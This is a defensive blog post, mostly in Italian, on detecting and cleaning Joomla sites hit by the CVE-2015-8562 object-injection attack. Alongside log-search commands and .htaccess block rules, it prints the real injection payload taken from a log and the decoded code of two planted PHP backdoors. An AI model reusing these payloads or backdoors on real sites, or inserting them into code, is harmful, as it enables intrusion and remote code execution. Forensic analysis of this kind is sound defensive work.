Repair Joomla 3, 2.5 , 1.5 after a Code Injection [CVE-2015-8562]

The vulnerability, corrected with the update to Joomla 3.4.6, 3.4.7 and the patches for the 1.5 and 2.5 versions, is one of the most dangerous attacks targeting the Joomla! platform ever.  Never had it happened that the same day a security release is published, 30% of the Joomla sites are attacked!

The most remarkable novelties are:

  • the speed of release
  • precise addressing of the attacks
  • quality of obfuscation

Even if you patched to 3.4.6, it is possible you were hacked before! Keep reading (and learn italian) to learn how to fix it, how to prevent it, and and explanation of the attack.

Little Helper Exploit finder

Nuova funzione in LittleHelper v. 2.4.0, ricerca infezioni e semplifica il lavoro di ricerca.

little helper exploits

Identificare il problema

Tutti gli attacchi che abbiamo trovato hanno tentato di caricare un file specifico: libraries/joomla/exporter.php che a sua volta veniva usato per scriverne un altro: libraries/simplepie/simplepie.lib.php . Altri attacchi tentavano di scrivere in tmp, cache, logs e images, ma quelle sono cartelle che proteggiamo quindi non abbiamo potuto fare una raccolta completa degli exploit.

Se i due file sono presenti, eliminateli subito: non fanno parte di nessuna versione di Joomla e hanno solo scopi malefici. Il primo è una banale backdoor (protetta da password), il secondo invece  è più sottile, ne parleremo nel seguito.

Cerchiamo i punti di ingresso nei log

Un paio di chiamate ci permettono di filtrare subito le chiamate incriminate.

Code:
  1. zgrep "JDatabaseDriverMysqli" /var/log/virtualmin/*access_log-* > /tmp/step1.list
  2. grep "JDatabaseDriverMysqli" /var/log/virtualmin/*access_log >> /tmp/step1.list
  3. zgrep "JDatabaseDriverMysqli" /var/log/virtualmin/*error_log-* >> /tmp/step1.list
  4. grep "JDatabaseDriverMysqli" /var/log/virtualmin/*error_log >> /tmp/step1.list
  5. zgrep -e "(exporter.php|simplepie.lib)" /var/log/virtualmin/*access_log-* > /tmp/step2.list
  6. egrep "(exporter.php|simplepie.lib)" /var/log/virtualmin/*access_log >> /tmp/step2.list
  7. zgrep -e "(exporter.php|simplepie.lib)" /var/log/virtualmin/*error_log-* >> /tmp/step2.list
  8. egrep "(exporter.php|simplepie.lib)" /var/log/virtualmin/*error_log >> /tmp/step2.list
  9.  

Da qui passiamo ad analizzare i file creati, nel primo troveremo l'exploit della vulnerabilità, nel secondo la backdoor installata permanentemente.

Gli exploit sono di questo tipo:

Javascript Code:
  1. /var/log/virtualmin/example.net_access_log:78.36.185.41 - - [14/Dec/2015:19:12:50 +0000] "GET /somepath HTTP/1.1" 301 237 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:60:\"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"

mentre i tentativi di sfruttamento successivi:

Javascript Code:
  1. /var/log/virtualmin/example.it_access_log:192.42.116.16 - - [17/Dec/2015:19:33:58 +0100] "POST /libraries/joomla/exporter.php HTTP/1.1" 301 264 "http://example.it/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36"

Da qui avremo la immediata misura della situazione. Un veloce controllo ci darà l'elenco dei siti più compromessi.

Troviamo eventuali files modificati

Dopo aver aggiornato Joomla (evitiamo che mentre facciamo pulizia rientri qualcuno), ed elimninato i files (se presenti):

  • libraries/joomla/exporter.php
  • libraries/simplepie/simplepie.lib.php

dovremo effettuare un confronto con un backup sano (uno precedente la prima data che avrete riscontrato nel file /tmp/step1.list appena creato).

Dovremo esplodere questo backup, applicarci l'aggiornamento di Joomla 3.4.6, e poi eseguire:

diff -qrwbBE /home/backups/cartellabackupricostruito /home/cartellaproduzione/public_html

Vi consiglio di reindirizzare la vista su un file, perché a meno di siti estremamente semplici, un po' di "grep -v" sarà necessario per filtrare le modifiche legittime del sito.

Qui una volta identificati i files diversi, una veloce diff vi dirà se sono legittimi o meno. Ma per sapere cosa cercare, guardate l'ultimo paragrafo, la questione è diventata sottile.

Eliminiamo / ripristiniamo gli originali

Beh qui non avete bisogno di molto aiuto, vero?

Prevenzione

Oltre all'aggiornamento (che è disponibile anche per Joomla 1.5 e 2.5, vedi https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions ), e ad assicurarci che non ci siano altri exploit in corso, si può aggiungere una regola all'.htaccess per evitare che ulteriori attacchi raggiungano il sito; trovate RewriteEngine on, e subito sotto inserite:

Code:
  1. RewriteCond %{REQUEST_URI} ^.*(preg_replace|eval|JDatabaseDriverMysqli).* [NC,OR]
  2. RewriteCond %{QUERY_STRING} ^.*(preg_replace|eval|JDatabaseDriverMysqli).* [NC]
  3. RewriteRule .* - [F]
  4.  

Queste regole possono anche esser messe all'interno della direttiva

Code:
  1. <strong><VirtualHost 95.110.201.240:80></strong>

di httpd.conf (il file di configurazione di apache); questo è più veloce nell'esecuzione, perché la regola non deve esser letta ad ogni passaggio.

Attenzione: oltre all'attacco specifico, la regola sopra previene anche l'uso della parola "eval" nella url, questo potrebbe rendere inaccessibili pagine che legittimamente lo usano; se questo fosse il caso,

Code:
  1. RewriteCond %{REQUEST_URI} ^.*(preg_replace|JDatabaseDriverMysqli).* [NC,OR]
  2. RewriteCond %{QUERY_STRING} ^.*(preg_replace|JDatabaseDriverMysqli).* [NC]
  3. RewriteRule .* - [F]

 non blocca "eval".

Password

La prima attività che viene svolta è acquisire le password dei database, cambiatele subito. Tutte.

Altri passi di prevenzione

Tutte le normali raccomandazioni:

  • File e cartelle devono essere 755 al massimo.
  • Se volete essere cauti, mettete file e cartelle 555, e lasciate 755 solo administrator/cache, cache, tmp e logs. Quando vorrete installare un aggiornamento, metterete 755 salvo poi rimettere in readonly appena fatto. Nota: molte estensiioni scrivono in posti strani, se vedete errori che la tal cartella non è scrivibile, rendetela scrivibile.
  • Tenete Joomla e tutte le estensioni aggiornati
  • Disinstallate le estensioni che non usate: possono ancora essere usate per exploit. Il 98% delle vulnerabilità Joomla viene dalle estensioni.
  • Usate un servizio di monitoraggio

Descrizione dell'Exploit

Exporter

La prima parte carica il file libraries/joomla/exporter.php, che contiene:

PHP Code:
  1. <?php if (md5($_POST["password"]) == "3eaeedbb8e5e447c638bebb4d3895a03") { preg_replace("\043\056\052\043\145", "\145\166\141\154\050\142\141\163\145\066\064\137\144\145\143\157\144\145\050'" . $_POST["code"] . "'\051\051\073", ""); } ?>

Ogni istanza che abbiamo trovato aveva password diverse, ed esattamente lo stesso codice. In soldoni, questa è la chiamata che fa:

PHP Code:
  1. preg_replace("#.*#e","eval(base64_decode('" . $_POST["code"] . "'));", ""); }

ovvero: esegui il codice che ti ho mandato se la password corrisponde.

Noterete lo stile carino di nascondere il flag preg_replace /e usando i separatori #e. Ma fin qui, nulla di nuovo.

Simplepie.lib

La seconda parte invece merita proprio la nostra ammirazione.

libraries/simplepie/simplepie.lib.php sembra un file di Joomla normale: a una occhiata veloce non si nota nulla di strano, ho evidenziato in grassetto le parti compromesse:

Intanto, la solita protezione Joomla, così il file è sicuro:

PHP Code:
  1. !defined('JPATH_PLATFORM') or die;
  2.  

Ma c'è un ! all'inizio riga!!! Me ne sono accorto alla terza lettura!


Quindi una bella funzione, sembra proprio parte del framework vero?

PHP Code:
  1. /**
  2.  * Returns a reference to the global JApplicationCli object, only creating it if it doesn't already exist.
  3.  *
  4.  * This method must be invoked as: $cli = JApplicationCli::getInstance();
  5.  *
  6.  * @param string $name The*/$sess = md5(@$_COOKIE[ssid]);/*of the JApplicationCli class to instantiate.
  7.  *
  8.  * @return JApplicationCli
  9.  *
  10.  * @since 11.1
  11.  */ $a='as';
  12.  
  13. function getInstance($name = null)
  14.  

Invece ha ben due insidie: $sess = md5(@$_COOKIE[ssid]);, nascosto in mezzo al commento, e $a='as'; alla fine.

PHP Code:
  1. * @since 11.1
  2. */ $b='sert'; $a=$a.$b;
  3. function execute()
  4.  
  5. * @since 11.1
  6. */ $start = strpos($sess,'e4b2ee');
  7. function loadConfiguration($data)
  8.  

Continua a costruire la stringa....

PHP Code:
  1. * @since 3.3
  2. */ if($start===0){@${a}($id);}
  3. function getOutput()
  4.  

E qui il prestigio. Cosa sarà mai questo ${a} ? Andiamo a lettere, e $a = 'as'.'sert' ... inizia a suonare familiare? assert è un comando usato quando si scrivono unit test principalmente, ed esegue un eval! Solo che dà molto meno nell'occhio...

Elegante ed efficace, subdolo ma bello.  Un peccato doverlo cancellare.

Una spiegazione completa dell'attacco al session handler è qui. Scopri se ti sei messo al sicuro qui.